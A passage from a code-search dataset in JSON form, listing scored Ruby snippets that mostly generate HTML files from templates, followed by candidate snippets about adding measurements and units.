categories\r\n\r\n\t\t\t\t\tlineHtml = '</div>'\r\n\t\t\t\t\tfileHtml.puts lineHtml # Close related risks\r\n\r\n\t\t\t\t\tlineHtml = '</div>'\r\n\t\t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t\t\t\tend # Close findings\r\n\r\n\t\t\t\tlineHtml = '</div>'\r\n\t\t\t\tfileHtml.puts lineHtml # Close finding's dialog\r\n\r\n\t\t\tend\r\n\t\t\t# ----- map.map_type\r\n\r\n\t\t\t# ES: Obtiene las estructuras presentes en los detalles:\r\n\t\t\t# EN: Get the structures from the details:\r\n\t estsShow = details.map {|d| d.governance_structure}\r\n\t estsShow.uniq!\r\n\t estsShow.compact!\r\n\r\n\t # ES: Construye los divs del dialogo de funciones (todos escondidos)\r\n\t # EN: Build the divs of the responsibilities dialog (all hidden)\r\n\t lineHtml = '<div id=\"dialogFuncs\" style=\"font-size:12px;\">'\r\n\t fileHtml.puts lineHtml\r\n\r\n\t estsShow.each do |est|\r\n\t \tlineHtml = '<div style=\"display:none;\" id=\"divShow' << est.id.to_s << '\">'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tlineHtml = '<h3> Funciones: </h3>'\r\n\t \tfileHtml.puts lineHtml\r\n\t \tfuncs = get_functions_method(est.id) \r\n\t \tif funcs.size == 0\r\n\t \t\tlineHtml = '<span style=\"color:#333;\"><i>- This structure has no defined responsibilities</i></span><br>'\r\n\t \t\tfileHtml.puts lineHtml\r\n\t \telse\r\n\t \t\terror = false\r\n\t \t\tfuncs.each do |f|\r\n\t \t\t\t# ES: Verifica que no sea el registro de separacion de errores\r\n\t \t\t\t# EN: Verify that is not the separator record\r\n\t \t\t\tif f == '#$%&/()='\r\n\t \t\t\t\terror = true\r\n\t\t\t\t\t\t\tlineHtml = '<h3 style=\"color:red;\">Conflicts found:</h3>'\r\n\t\t\t\t\t\t\tfileHtml.puts lineHtml\r\n\t\t\t\t\t\t\tnext\r\n\t \t\t\tend\r\n\r\n\t \t\t\t# ES: Renderiza las funciones o los errores según sea adecuado:\r\n\t \t\t\t# EN: Renders the responsibilities or errors depending:\r\n\t \t\t\tif error\r\n\t \t\t\t\t# ES: Formatea el contenido de los errores:\r\n\t \t\t\t\t# EN: Formats the content of the errors:\r\n\t \t\t\t\tpartes = f.split(\"|\")\r\n\t \t\t\t\tlineHtml = '<span style=\"color:red;\"><i>- ' << partes[0] << ', conflict with the next structures: </i></span><br>'\r\n\t \t\t\t\tfileHtml.puts lineHtml\r\n\r\n\t \t\t\t\tfor i in 1..(partes.size - 1)\r\n\t \t\t\t\t\tlineHtml = '<span style=\"color:red;margin-left:15px;\"><i>- ' << partes[i] << '</i></span><br>'\r\n\t \t\t\t\t\tfileHtml.puts lineHtml\r\n\t \t\t\t\tend\r\n\r\n\t \t\t\telse\r\n\t \t\t\t\t# ES: Renderiza las funciones normalmente:\r\n\t \t\t\t\t# EN: Renders the responsibilities normally:\r\n\t \t\t\t\tlineHtml = '<span style=\"color:#333;\"><i>- ' << f << '</i></span><br>'\r\n\t \t\t\t\tfileHtml.puts lineHtml\r\n\t \t\t\tend\r\n\t \t\tend # Close funcs\r\n\t \tend # Close funcs.size == 0\r\n\r\n\t \tlineHtml = '</div>' # ES: Cierra el div de cada estructura - EN: Close the div of each structure\r\n\t \tfileHtml.puts lineHtml\r\n\r\n\r\n\t end # Close structures\r\n\r\n\t lineHtml = '</div>' # ES: Cierra el div del dialogo - EN: Close the dialog's div\r\n\t fileHtml.puts lineHtml\r\n\r\n\r\n\t\t\tlineHtml = '</body></html>'\r\n\t fileHtml.puts lineHtml\r\n\t fileHtml.close()\r\n\t end \r\n\t # ----- mapas.each \r\n\r\n\t # ES: Devuelve el arreglo que contiene el log\r\n\t # EN: Returns the array that contains the log\r\n\t return log \r\n\r\n \tend", "title": "" }, { "docid": "86b38183af98c1e7a78028196e9a0e28", "score": "0.5556125", "text": "def generate\n warn \"Rendering #{url_path}\"\n\n content = self.render\n\n open url_path, \"w\" do |f|\n f.puts content\n end\n end", "title": "" }, { "docid": "c9514d895a9abe4b77e4ed43bc255b97", "score": "0.55560434", "text": "def output\n name = get_names\n title = get_titles\n price = get_prices\n\n word = ''\n File.open('scraper.html.erb').each do |file|\n word += file\n end\n\n result = ERB.new(word).result(binding)\n puts result\n\n File.open('scraper.html', 'w') do |file|\n file.write(result)\n end\n\n Launchy.open('./scraper.html')\n end", "title": "" }, { "docid": "62fae1c1fa60cc569c2d1a9b6062dcac", "score": "0.55468726", "text": "def generate_index_file\n\t\tdebug_msg \"Generating index file in #@outputdir\"\n templatefile = @template_dir + 'index.rhtml'\n outfile = @outputdir + 'index.html'\n if @options.main_page && index_path = @files.find { |f| f.full_name == @options.main_page }\n index_path = index_path.path\n else\n\t index_path = @files.first.path\n end\n\t \n\t self.render_template( templatefile, binding(), outfile )\n\tend", "title": "" }, { "docid": "bda11d6db7aed7da1f75105145bc2700", "score": "0.5545906", "text": "def write_mobile_html\n File.open(File.join(self.abs_img_dir,\"#{self.id}.html\"),\"w\") do |html|\n html.puts('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n html.puts('<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML Basic 1.1//EN\" \"http://www.w3.org/TR/xhtml-basic/xhtml-basic11.dtd\">')\n html.puts('<html><head>')\n html.puts(\"<title>#{self.title}</title>\")\n html.puts('<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=no\">')\n html.puts('<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">')\n html.puts('<style type=\"text/css\">')\n html.puts('.autosize{max-width:100%;}')\n html.puts('.fitscreen{max-width:100%;}')\n html.puts('</style>')\n html.puts('</head>')\n html.puts('<body>')\n html.puts(\"<h2>#{self.title}</h2>\")\n html.puts('<div>')\n doc=Nokogiri::HTML(self.content)\n doc.xpath(\"//img[@class='autosize']\").each { |img| img[\"src\"]=img[\"src\"].sub(/\\/images\\/archives\\/\\d+\\/pics_[hml]\\//,'') }\n html.puts(doc.to_html)\n html.puts('</div>')\n html.puts(\"<p>原文链接: <a href='#{self.url}'>#{self.url.truncate(30)}</a></p>\")\n html.puts('</body></html>')\n end\n end", "title": "" }, { "docid": "85542f78026f3322789fc4e208594ff9", "score": "0.55389833", "text": "def build_artist_page \n Artist.all.each do |x|\n render_template('artists/show.html', \"artists/#{x.to_slug}.html\").\n end \n end \n\n # def build_genres_index\n # render 'genres/index.html' do\n # @genres = Genre.all\n # end\n # end\n\n def build_genre_page \n Genre.all.each do |x|\n render_template('genres/show.html', \"genres/#{x.to_slug}.html\")\n end \n \n end \n\n # def build_songs_index\n # render 'songs/index.html' do\n # @song = Song.all\n # end\n # end\n\n def build_song_page \n Song.all.each do |x|\n render_template('songs/show.html', \"songs/#{x.to_slug}.html\")\n end \n end \n\n\n def generate\n build_index\n build_artists_index\n build_artist_page\n build_songs_index\n build_song_page\n build_genres_index\n build_genre_page\n end\n # def build_artists_index\n # render(\"artists/index.html\") do \n # @artists = Artist.all \n # end \n # end\n\n # def build_genres_index\n # render_template(\"genres/index.html\")\n # end\n\n # def build_songs_index\n # render_template(\"songs/index.html\")\n # end\n # # def build_index\n # request = Rack::Request.new(rendered_path)\n # if request.get? && request.path == '/'\n # template = File.read(\"./app/views/index.html.erb\")\n # result = ERB.new(template).result(binding)\n # response = Rack::Response.new(result)\n # end \n # response \n # end \n\n\n # def call(env)\n # # request = Rack::Request.new(env)\n # # if request.get? && request.path == '/'\n # # render('index.html.erb')\n # # # elsif request.get? && request.path == '/artists' && request.params[\"id\"]\n # # # @book = .find(request.params[\"id\"])\n # # # render('books/show.html.erb')\n # if request.get? && request.path == '/artists'\n # @artists = Artist.all\n # render('artists/index.html.erb')\n # elsif request.get? && request.path == '/songs'\n # @songs = Song.all\n # render('songs/index.html.erb')\n # elsif request.get? && request.path == '/genres'\n # @genres = Genre.all\n # render('genres/index.html.erb')\n # else\n # response = Rack::Response.new('<h1>Nothing here</h1>', 404)\n # end\n # end\n\n\n # def render(file_path)\n # html = File.read(\"./app/views/#{file_path}.erb\")\n # result = ERB.new(html).result(binding)\n # response = Rack::Response.new(result)\n # File.open(\"#{@rendered_path}/#{file_path}\")\n # end\n\nend", "title": "" }, { "docid": "908426209f5e3077a6baf66c5892ea2c", "score": "0.55353314", "text": "def generate_specs\n tpl_path = File.join(File.dirname(__FILE__), 'templates', 'spec.erb')\n\n @records.each_with_index do |record, index|\n @record = record\n @index = index + 1\n\n rendered_doc = ERB.new(File.open(tpl_path).read).result(binding)\n\n path = File.join(Rails.root, 'doc', \"rspec_doc_#{@index.to_s.rjust(5, '0') }.html\")\n file = File.open(path, 'w')\n file.write(rendered_doc)\n file.close\n puts \"Reqres::Writers::Html saved doc spec to #{path}\"\n end\n end", "title": "" }, { "docid": "bf1adc25934efb1fe5ba1469f141ec4d", "score": "0.55302626", "text": "def generate_chapter_index\n if @html_params[:auto_generate_html]\n puts 'updating chapter index of ' + @manga_data[1]\n Utils_file::dir_create(@path_html)\n template = File.open('sources/templates/web/manga_presentation/presentation_template.html').read\n template = template.gsub('#####name#####', @manga_name)\n template = template.gsub('#####description#####', @manga_data[2].gsub(\"\\n\", '<br />'))\n template = template.gsub('#####site#####', html_a_buffer(@manga_data[4]))\n template = template.gsub('#####author#####', html_a_buffer(@manga_data[5]))\n template = template.gsub('#####artist#####', html_a_buffer(@manga_data[6]))\n template = template.gsub('#####type#####', html_a_buffer(@manga_data[7]))\n template = template.gsub('#####status#####', html_a_buffer(@manga_data[8]))\n template = template.gsub('#####genres#####', html_a_buffer(@manga_data[9]))\n template = template.gsub('#####date#####', html_a_buffer(@manga_data[10].to_s))\n template = template.gsub('#####alternative_names#####', @manga_data[12].split('; ').join('<br />'))\n template = template.gsub('#####cover#####', '../mangas/' + @manga_data[1] + '.jpg')\n template = template.gsub('#####index_path#####', '../index.html')\n template = template.gsub('#####rank#####', @manga_data[13].to_s)\n template = template.gsub('#####rating#####', @manga_data[14].to_s + ' / ' + @manga_data[15].to_s)\n template = chapter_list_to_a_list(template).gsub('#', '%23')\n File.open(@path_html + '.html', 'w') {|f| f.write(template)}\n @chapter_template = File.open('sources/templates/web/chapter/chapter_template.html').read\n html_generate_chapters(@manga_data)\n end\n end", "title": "" }, { "docid": "0f3b4c501ea41020c87ae03e20e7d25b", "score": "0.5525883", "text": "def generate_html_pages\n template = File.read(Dir.pwd + '/test_template.html.erb')\n result = ERB.new(template).result(binding)\n File.open(\"output.html\", \"w+\") do |f|\n f.write result\n end\n end", "title": "" }, { "docid": "3e76d2b130cf91df0b2f53ac5805cdf3", "score": "0.55255747", "text": "def run_build\n Files.walk_build_path(\".json\").each do |f|\n template = ERB.new(File.open(VidSkim::ROOT +\n '/views/template.html.erb', 'r').read)\n @transcript = Transcript.find(f)\n str = template.result(binding)\n Files.create_file(VidSkim.output_path + \"#{@transcript.slug}.html\", str)\n end\n end", "title": "" }, { "docid": "b43a217aeda1eaa62a16fbb4783d47fd", "score": "0.5525519", "text": "def create_links!\n @logger.info \"create links page\"\n File.open(File.join(\"#{@options[:output]}\", \"links.html\"), \"w\") do |file|\n file.write(template(binding, :links))\n end\n end", "title": "" }, { "docid": "ff86c0dca90e24c15d2c411422d74a7b", "score": "0.5524165", "text": "def save_page(file_name = nil)\r\n file_name ||= Time.now.strftime(\"%Y%m%d%H%M%S\") + \".html\"\r\n puts \"about to save page: #{File.expand_path(file_name)}\" if $DEBUG\r\n File.open(file_name, \"w\").puts page_source\r\n end", "title": "" }, { "docid": "4f5f88c3434187fa9b89d7042a253502", "score": "0.552027", "text": "def generate!\n Rails.logger.info \"Generating man pages:\"\n\n @markdown_files.each do |file|\n output = render_markdown(file)\n name, path = corresponding_man(file)\n File.write path, output\n Rails.logger.info name\n end\n end", "title": "" }, { "docid": "6ad2099a2ca2e6fd832ca735e7a0ff34", "score": "0.5520074", "text": "def save\n require 'fileutils'\n \n FileUtils.mkdir_p(File.dirname('./html_standings/.'))\n \n File.open('./html_standings/league_standings.html', \"w+\") do |f|\n f.write(ERB.new(overview_page).result(binding))\n end\n \n teams.values.each do |team|\n File.open(\"./html_standings/#{team.name.downcase.gsub(' ', '_')}_games.html\", \"w+\") do |f|\n f.write(ERB.new(team_page(team)).result(binding))\n end\n end\n end", "title": "" }, { "docid": "56f895fcc36631718aa7bbe154b0afd3", "score": "0.5515778", "text": "def start_html_file\n @htmllogfile.puts <<-HTML\n<!DOCTYPE HTML>\n<html>\n <head>\n <title>#{bot.config.channels.first} IRC logs, #{Time.now.strftime('%Y-%m-%d')}</title>\n <meta charset=\"utf-8\"/>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n#{@extrahead}\n </head>\n <body>\n <h1>#{bot.config.channels.first} IRC logs, #{Time.now.strftime('%Y-%m-%d')}</h1>\n <nav>\n All times are UTC#{Time.now.strftime('%:z')}.\n <a href=\"#{Date.today.prev_day.strftime('%Y-%m-%d')}.html\">&lt;==</a>\n <a href=\"#{Date.today.next_day.strftime('%Y-%m-%d')}.html\">==&gt;</a>\n </nav>\n <footer>\n <a href=\"#\">^</a>\n </footer>\n <table>\n HTML\n end", "title": "" }, { "docid": "7fa840831c6b19e4daad3810c4faa8fd", "score": "0.5514302", "text": "def beginIndexFile(parent = nil)\n indFile = File.new(\"#{currentDir().path}/index.html\", \"w\")\n\n @indexFileStack.push indFile\n indFile.write(\"<html><body>\")\n\n if !parent.nil?\n indFile.write(\"Parent: <a href=\\\"../index.html\\\">#{parent}</a>\")\n end\n indFile.write(\"<ul>\")\n end", "title": "" }, { "docid": "7c145597ed062463aa0b6dca0c08e67c", "score": "0.5511812", "text": "def start\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n tmpl_folder, tmpl_q_folder = TemplatesHelper.get_tmpl_subfolder(TemplatesHelper::TMPL_RESEARCH)\n\n if tmpl_q_folder.nil?\n ary = TemplatesHelper.setup_tmpl_folder\n tmpl_q_folder = ary[4]\n end\n\n items = Folder.get_items_admin(tmpl_q_folder.id, 'xorder ASC')\n \n if items.nil? or items.empty?\n\n render(:text => t('research.create_page_first'))\n return\n else\n\n ApplicationHelper.delete_file_safe(Research.get_pages)\n\n items.each_with_index do |item, idx|\n desc = item.description\n if desc.nil? or desc.empty?\n render(:text => t('research.specify_page_content') + item.title.to_s)\n return\n end\n\n q_hash = Research.find_q_codes(desc)\n q_hash.each do |q_code, q_param|\n desc = Research.replaceCtrl(desc, q_code, q_param)\n end\n\n FileUtils.mkdir_p(Research.page_dir)\n\n file_name = sprintf('_q%02d.html.erb', idx+1)\n path = File.join(Research.page_dir, file_name)\n\n ApplicationHelper.f_ensure_exist(path)\n mode = ApplicationHelper.f_chmod(0666, path)\n\n begin\n f = File.open(path, 'w')\n f.write(desc)\n f.close\n rescue => evar\n logger.fatal(evar.to_s)\n end\n\n ApplicationHelper.f_chmod(mode, path)\n end\n end\n\n render(:text => '')\n\n rescue => evar\n Log.add_error(request, evar)\n render(:text => evar.to_s)\n end", "title": "" }, { "docid": "cf6fd68bd716124a8262ab952ce3f9ba", "score": "0.54932326", "text": "def generate(site)\n @buffer = ''\n\n # Create the destination folder if necessary\n reviews_dest = File.join(site.dest, 'reviews')\n FileUtils.mkdir_p(reviews_dest) unless File.directory?(reviews_dest)\n\n # Write the contents of reviews file\n File.open(File.join(reviews_dest, 'index.html'), 'w') do |f|\n generate_header\n generate_content site\n f.write @buffer\n f.close\n end\n\n # Add the reviews file, so it won't be cleaned\n site.pages << Page.new(site, site.dest, 'reviews', 'index.html')\n end", "title": "" }, { "docid": "cbfaf93e8dfde016fae0186e7ae256c8", "score": "0.5485606", "text": "def preview\n frm.button(:value=>\"Preview\").click\n @@file_number=0\n AssignmentStudentPreview.new(@browser)\n end", "title": "" }, { "docid": "35663a637a4cbb7ef689eae3af727eee", "score": "0.5479898", "text": "def index\n list_files\n # upload_file_to_directory\n render :text => \"Welcome: <b> Connectivity </b>: #{@connectivity}; <img src='https://drive.google.com/uc?export=view&id=0B1fwbuqA93HJQWRrUS0yaEhFb1E'/> \"\n end", "title": "" }, { "docid": "404f896559321362a5bbbb5734586a74", "score": "0.54786444", "text": "def generate_index!\n template = \"\"\n @page_type2 = 'dudul'\n File.open(class_layout_file(:target)).each { |line| template << line }\n parsed = ERB.new(template).result(binding)\n File.open(File.join(temp_dir, \"class.html\"), 'w') { |file| file.write parsed }\n end", "title": "" }, { "docid": "fc363718d3b10df603a85078178cd6c5", "score": "0.5475557", "text": "def make_class_index_page(mdl, output)\n h = make_header(mdl)\n a = mdl.link(RME::Doc.vocab[:index], index(mdl))\n a = a + \" > \" + mdl.strong(RME::Doc.vocab[:cl_title])\n l = mdl.ul\n Hash[RME::Doc.schema.sort].each do |klass, i|\n l = make_class_page(mdl, klass, l, output)\n end\n l += mdl.end_ul\n page = h + a + mdl.line + l + mdl.footer\n File.open(output + \"/\" + clindex(mdl), 'w'){|f| f.write(page)}\n p \"#{clindex(mdl)} created!\"\n end", "title": "" }, { "docid": "7b2e2e33feecc7fa245f944c149d09f2", "score": "0.5474419", "text": "def index\n\t @b4 = true\n #render layout: false\n #@doc = Nokogiri::HTML(open(\"https://www.biodiversidad.gob.mx/pais/mares/infoceanos/\")).css('#project')\n @doc = Nokogiri::HTML(open(\"https://www.biodiversidad.gob.mx/monitoreo/infoceanos\")).css('#el-titulo, #introenciclovida')\n\n #@doc.css('#pagetitle').remove\n #@doc.css('#sectionmenu').remove\n #@doc.css('#pageima').remove\n @doc.xpath('//comment()').remove\n\n @doc.each do |el|\n el.traverse do |n|\n if n.matches?('img')\n #n.attribute('src').value = n.attribute('src').value.gsub('../../../', 'https://www.biodiversidad.gob.mx/')\n n.attribute('src').value = \"https://www.biodiversidad.gob.mx/\" + n.attribute('src').value unless n.attribute('src').value.include?('biodiversidad.gob.mx')\n n['class'] = n['class'].present? ? (n['class'] + ' img-fluid') : 'img-fluid'\n end\n end\n end\n\n @doc = @doc.to_html\n end", "title": "" }, { "docid": "7a101935f7a22598abf7b67c81f1f464", "score": "0.5471102", "text": "def write\n warn \"No files to create coverage for.\" if empty?\n\n each &:write\n Duvet.write data, 'html/index.erb'\n end", "title": "" }, { "docid": "81b911c346cb68070eecbb8e24fcfaa7", "score": "0.54612947", "text": "def generate_project_file\n templatefile = @template_dir + 'hpp_file.rhtml'\n\n @values = { :title => @options.title, :opname => @outputdir.basename }\n \n static_files = ['index.html', 'classindex.html', 'fileindex.html']\n @values[:html_files] = static_files + (@files+@classes).map{|f| f.path }\n \n outfile = @outputdir + @project_name\n debug_msg \" rendering #{outfile}\"\n self.render_template( templatefile, binding(), outfile )\n end", "title": "" }, { "docid": "5be2a976894bbfc79a43286d31e2a46d", "score": "0.5456448", "text": "def generate_pages(a)\n\n a.each do |name|\n puts 'name : ' + name.inspect\n doc = @template.to_doc\n doc2 = (\"div {id: 'cols'}\\n\" + @pages[name]).to_doc\n yield(doc2) if block_given?\n\n e = doc.element('//div[@id=\"cols\"]')\n e.insert_before doc2.root\n e.delete\n\n pg_name = name.to_s\n\n title = doc.root.element('head/title')\n title.text = title.text.sub('Home', pg_name)\n name = 'index' if name == :Home\n filename = \"%s.html\" % name.to_s.downcase.gsub(' ','-')\n\n if @opt[:style] == false then\n doc.root.xpath('//.[@style]').each {|e| e.attributes.delete :style}\n end\n\n puts 'saving ' + filename\n File.write filename, doc.xml \n end\n end", "title": "" }, { "docid": "b49f15ae82af655a535facf9028197d5", "score": "0.5452154", "text": "def render_draft_pack(cards, spec, filename)\n File.open(filename, \"w\") do |f|\n f.puts \"<html>\"\n f.puts \"<head>\"\n f.puts \"<style>\"\n f.puts \"@page { size: letter; margin-left: 5pt; margin-right: 5pt; }\"\n f.puts \".page-break { display: block; page-break-before: always; float: clear;}\"\n f.puts \"img { width: 100pt; }\"\n f.puts \".card { display:inline-block; height: 280px; width: 180px;}\"\n f.puts \"</style>\"\n f.puts \"</head>\"\n f.puts \"<body>\"\n\n 4.times do |i|\n render_page(cards, spec, f)\n f.puts \"<hr class='page-break'>\" unless i == 3\n end\n end\nend", "title": "" }, { "docid": "f2843ea35482d3c837defad3e1bb1857", "score": "0.54508543", "text": "def construct_make_objects\n @all_make_objects = {}\n\n @all_model_objects.each do |key, value|\n model = key\n make = value.nav_links_back[1][:title]\n # [1] because, as you'll notice above, the first entry in the nav_links\n # array is always back to index. The second is always back to make.\n\n @all_make_objects[make] = HTMLFile.new({\n title: make,\n type: 'make',\n nav_links_back: [{title: 'Index', type: \"\"}]\n }) unless @all_make_objects[make]\n\n @all_make_objects[make].nav_links << { title: model, type: 'model' }\n\n # I add all the thumbnails from that model to this make. Regardless\n # of how many thumbnails I have, I only keep the first ten.\n if @all_make_objects[make].thumbnails.length < 10\n @all_make_objects[make].thumbnails = (@all_make_objects[make].thumbnails + value.thumbnails)[0..9]\n end\n end\n end", "title": "" }, { "docid": "a386c3574015c6c93318efc110cc5fb7", "score": "0.5438433", "text": "def init_html(cmd)\n \n puts \"<link rel='stylesheet' href='file://#{e_url(@bundle_support)}/css/output.css' type='text/css' charset='utf-8' media='screen'>\"\n puts \"<script src='file://#{e_url(@bundle_support)}/js/output.js' type='text/javascript' charset='utf-8'></script>\"\n print \"<div id='top'>\n <div id='title'>Running sketch: #{@folder_name} &nbsp;</div><div id='subtitle'>#{@project_path}</div></div>\"\n puts \"<div id='outputContent'>\"\n \n end", "title": "" }, { "docid": "a386c3574015c6c93318efc110cc5fb7", "score": "0.5438433", "text": "def init_html(cmd)\n \n puts \"<link rel='stylesheet' href='file://#{e_url(@bundle_support)}/css/output.css' type='text/css' charset='utf-8' media='screen'>\"\n puts \"<script src='file://#{e_url(@bundle_support)}/js/output.js' type='text/javascript' charset='utf-8'></script>\"\n print \"<div id='top'>\n <div id='title'>Running sketch: #{@folder_name} &nbsp;</div><div id='subtitle'>#{@project_path}</div></div>\"\n puts \"<div id='outputContent'>\"\n \n end", "title": "" }, { "docid": "bff832b3ecdc9ad0805ef9f1907d29e5", "score": "0.5435855", "text": "def copy_header_to_index()\n\t# this works because current direcotry is @view_loc\n\t@indexfile=\"index#{@num}.html.erb\"\n\t@indexfile_without_html=\"index#{@num}\"\n\theader_file=\"/Users/seyonvasantharajan/Desktop/web_scripts/auto_generate_index/header.html.erb\"\n\t@create_loc=@controller_name+\"/landing#{@num}\"\n\tputs \"Current directory is #{Dir.pwd}\"\n\tFileUtils.mkdir_p \"landing#{@num}\"\n\t@create_loc.slice!(\"app/views/\")\n\tFile.open(header_file) do |input|\n\t\tFile.open(@indexfile,\"w\") do |output| \n\t\t\twhile buff=input.read(4096)\n\t\t\t\toutput.write(buff)\n\t\t\tend\n\t\tend\n\tend\nend", "title": "" }, { "docid": "9154d6268724585897ffb243008a6e26", "score": "0.54354525", "text": "def create\n\t\tFileUtils.makedirs(dir_name) unless File.exists?(dir_name)\n\n\t\timage_downloader = ImageDownloader.new(text, dir_name)\n\t\tchanged_text = image_downloader.download\n\n\t\tFile.open(\"#{dir_name}/text.html\", 'w') {|f| f.write(changed_text)}\n\t\tFile.open(\"#{dir_name}/toc.html\", 'w') {|f| f.write(toc)}\n\t\tFile.open(\"#{dir_name}/book.opf\", 'w') {|f| f.write(book_opf)}\n\t\tFileUtils.cp(\"#{Rails.root}/public/books/hitchwiki/toc.ncx\", \"#{dir_name}/toc.ncx\")\n\t\tKindlegen.run(\"#{dir_name}/book.opf\", \"-o\", \"#{mobi_filename}.mobi\")\n\n\t\treturn [\"#{dir_name}/#{mobi_filename}.mobi\", dir_name]\n\tend", "title": "" }, { "docid": "eb7505415968cb62ace49bd6e0aab5a7", "score": "0.54316336", "text": "def start_work\n log_message \"Generating html for destination #{@job_id}\"\n output = Tilt.new(template_name).render(nil, fetch_atlas_details)\n File.open(File.join(@output_folder, \"#{@job_id}.html\"), 'w') { |file| file << output }\n mark_job_completed\n end", "title": "" }, { "docid": "0bb95423603179d32d27fe53a81e1781", "score": "0.54307413", "text": "def show_me\n image = \"#{Rails.root.join('tmp')}/pyrite-#{Time.now.to_i}.png\"\n browser.capture_entire_page_screenshot(image, '')\n puts `open #{image}`\n end", "title": "" } ]
ba69cf487d11585bb25a1837be93ae91
Add new measurement / unit
[ { "docid": "fb544e4446f900d950d83ce12da69b40", "score": "0.7773767", "text": "def add_measurement name, unit\n unless @measurements.include? name\n @measurements << name\n @units[name] = unit\n @ranges[name] = Ranges.new\n else\n raise \"Unit '#{unit}' different from previously unit '#{@units[name]}' added.\" if @units[name] != unit\n end\n end", "title": "" } ]
[ { "docid": "77bb9db3cd99d36cb78552ccb79d8794", "score": "0.77918696", "text": "def add_unit (unit)\n @units << unit\n\n end", "title": "" }, { "docid": "cb9d37cd63b24b850460fb78ea0b9a71", "score": "0.7652688", "text": "def add( measurementName, feet, inches )\n\n\tend", "title": "" }, { "docid": "eba16888b6bf4f1edc62843f90b2b0ca", "score": "0.70684564", "text": "def add_with_unit(key,value)\n \n \n \n v=if RGhost::Config::GS[:unit] == RGhost::Units::Cm\n (value.to_f/2.545)\n end\n add(key, v || value )\n end", "title": "" }, { "docid": "b09e4bebf224a16a8403fc2761089018", "score": "0.6875517", "text": "def add\n meter = nil\n Meter.uncached { meter = Meter.find_by_name_and_created_on(name, created_on) }\n meter ||= Meter.new(name: name, created_on: created_on)\n meter.value += value\n return meter.save\n end", "title": "" }, { "docid": "e580c63217e72437e51ad8f0ade85e72", "score": "0.68665594", "text": "def add_unit(unit)\n raise \"Can't add empty unit #{unit}!\" if unit.empty?\n @units << unit\n end", "title": "" }, { "docid": "591e4f9539f34923f3d8bb99ac0f011b", "score": "0.68497646", "text": "def addMeasurement (alimento, glucosa)\n @concentracionThis << alimento\n @concentracionGlucosa << glucosa\n end", "title": "" }, { "docid": "3afa1017b1146d11f36383020e7d9124", "score": "0.6737708", "text": "def add_units(units)\n GameRules::Rules.the_rules.unit_types.each do | unit_type |\n self.details.increment(unit_type[:db_field], units[unit_type[:db_field]].to_i)\n end\n self.details.save\n end", "title": "" }, { "docid": "a0de986debe7f0ab8e3be53ddbe3f0f3", "score": "0.6670708", "text": "def add_measure(measure)\n @measures << measure\n end", "title": "" }, { "docid": "57aa503034ce289753c3bdc5cba6f25b", "score": "0.66324836", "text": "def set_measurement(attrib, val)\n val = (val.blank?) ? OpenStruct.new(:scalar => nil, :units => nil) : Unit.new(val)\n\n instance_variable_set(\"@#{attrib}\", val.scalar)\n instance_variable_set(\"@#{attrib}_units\", val.units)\n end", "title": "" }, { "docid": "2964ce8594d732b50b60ce3155e83ee4", "score": "0.6625576", "text": "def unit=(new_unit)\n @unit = new_unit\n end", "title": "" }, { "docid": "d0c9db21b3710c223c668e64b563515d", "score": "0.65939826", "text": "def addMeasurement(id, description, metrics)\n raise OEDLIllegalCommandException.new(:addMeasurement) \n end", "title": "" }, { "docid": "5c872b06e695359e5f3c31c26a3e69f4", "score": "0.6588789", "text": "def add_unit(number, unit)\n\t\tassert_type number, :Number\n\t\tassert_type unit, :String\n\t\tSass::Script::Number.new(number.value, [\"#{unit}\"])\n\tend", "title": "" }, { "docid": "9153b07957ecb82f385127942912a565", "score": "0.65533537", "text": "def set_unit\n self.unit = self.number_of_units\n end", "title": "" }, { "docid": "34d0aff5c6350a59c824d94b15db2339", "score": "0.6549654", "text": "def addTwoMeasurementsInInches( measurementName1, measurementName2 )\n\t\n\tend", "title": "" }, { "docid": "17ffb16f4cf0bafdaef59d39bf59f72f", "score": "0.6523637", "text": "def measurement_set(type, value, unit)\n measure = measurement(type)\n\n # create a new isbn record if we need to\n if measure.nil?\n measure = ONIX::Measure.new\n measure.measure_type_code = type\n product.measurements << measure\n end\n\n # store the new value\n measure.measurement = value\n measure.measure_unit_code = unit.to_s\n end", "title": "" }, { "docid": "94f5910ac933f472b52c2cdf87614fb4", "score": "0.65026647", "text": "def add_unit(klass, options)\n raise \"#{klass} must be Unit!\" unless klass.superclass == Unit\n options.assert_valid_keys(:level, :count, :hp)\n\n @data[UNITS] ||= []\n @data[UNITS].push(\n 'type' => klass.to_s.demodulize,\n 'level' => options[:level] || 1,\n 'count' => options[:count] || 1,\n 'hp' => options[:hp] || 100\n )\n end", "title": "" }, { "docid": "2eed190ebc002a66263579274dbf0aaf", "score": "0.64044124", "text": "def +(observation)\n a = unit + observation.unit\n continuous_unit && descriptor.default_unit ? a.convert_to(descriptor.default_unit) : a\n end", "title": "" }, { "docid": "39f26c0b53b446f122098994f294020a", "score": "0.6385862", "text": "def unit=(value)\n @unit = value\n end", "title": "" }, { "docid": "a53f76f529e1e65f39bfd3edb39a000f", "score": "0.63804644", "text": "def defMeasurement(name, &block)\n @mps << MeasurementPoint.new(name, &block)\n end", "title": "" }, { "docid": "01af931835c82b44cd8410a9d8521567", "score": "0.6320288", "text": "def +(other)\n if units == other.units\n Measure.new(value + other.value, units)\n else\n if systemic?(other)\n a, b = base, other.base\n raise \"incompatible units\" if a.units != b.units\n a + b #.to(other)\n else\n a, b = universal, other.universal\n raise \"incompatible units\" if a.units != b.units\n a + b #.to(other)\n end\n end\n end", "title": "" }, { "docid": "d2757668980946d5d16627441dcb50e9", "score": "0.6312194", "text": "def unit=(string)\n @unit = string\n end", "title": "" }, { "docid": "4090cee61f238632968a73eeebaa588c", "score": "0.63007575", "text": "def unit=(a_unit)\n self[:unit] = a_unit.to_s\n end", "title": "" }, { "docid": "e5935be95f2ff49b3b0a73e8e202e922", "score": "0.62761796", "text": "def +(other)\n if other.is_a?(Meter)\n @length += other.length\n else\n raise NotAValidMeasurementType\n # We use the 'raise' keyword to say our code should break and throw an\n # exception is this happens. We can also give it what type of error should\n # be raised. Here it is an invalid type being given to our method.\n # This is a technique we want to use sparingly.\n end\n end", "title": "" 